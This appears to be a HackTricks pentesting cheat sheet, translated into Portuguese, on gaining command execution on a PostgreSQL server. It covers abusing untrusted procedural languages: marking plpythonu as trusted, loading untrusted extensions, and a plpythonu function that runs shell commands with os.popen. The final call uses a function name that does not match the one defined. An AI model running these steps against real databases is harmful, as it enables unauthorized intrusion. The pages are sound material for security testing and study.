RCE with PostgreSQL Languages

Support HackTricks

Linguagens PostgreSQL

O banco de dados PostgreSQL ao qual você teve acesso pode ter diferentes linguagens de script instaladas que você poderia abusar para executar código arbitrário.

Você pode fazer com que elas funcionem:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

A maioria das linguagens de script que você pode instalar no PostgreSQL tem 2 sabores: o confiável e o não confiável. O não confiável terá um nome terminado em "u" e será a versão que permitirá que você execute código e use outras funções interessantes. Essas são linguagens que, se instaladas, são interessantes:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (qualquer outra linguagem de programação usando uma versão insegura)

Se você descobrir que uma linguagem interessante está instalada mas não confiável pelo PostgreSQL (lanpltrusted é false), você pode tentar confiá-la com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Se você não vê uma linguagem, pode tentar carregá-la com (você precisa ser superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Observe que é possível compilar as versões seguras como "inseguras". Confira isso como exemplo. Portanto, sempre vale a pena tentar se você pode executar código, mesmo que você encontre apenas a versão confiável instalada.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Verifique a seguinte página:

PL/pgSQL Password Bruteforce

C

Verifique a seguinte página:

RCE with PostgreSQL Extensions
Support HackTricks

Last updated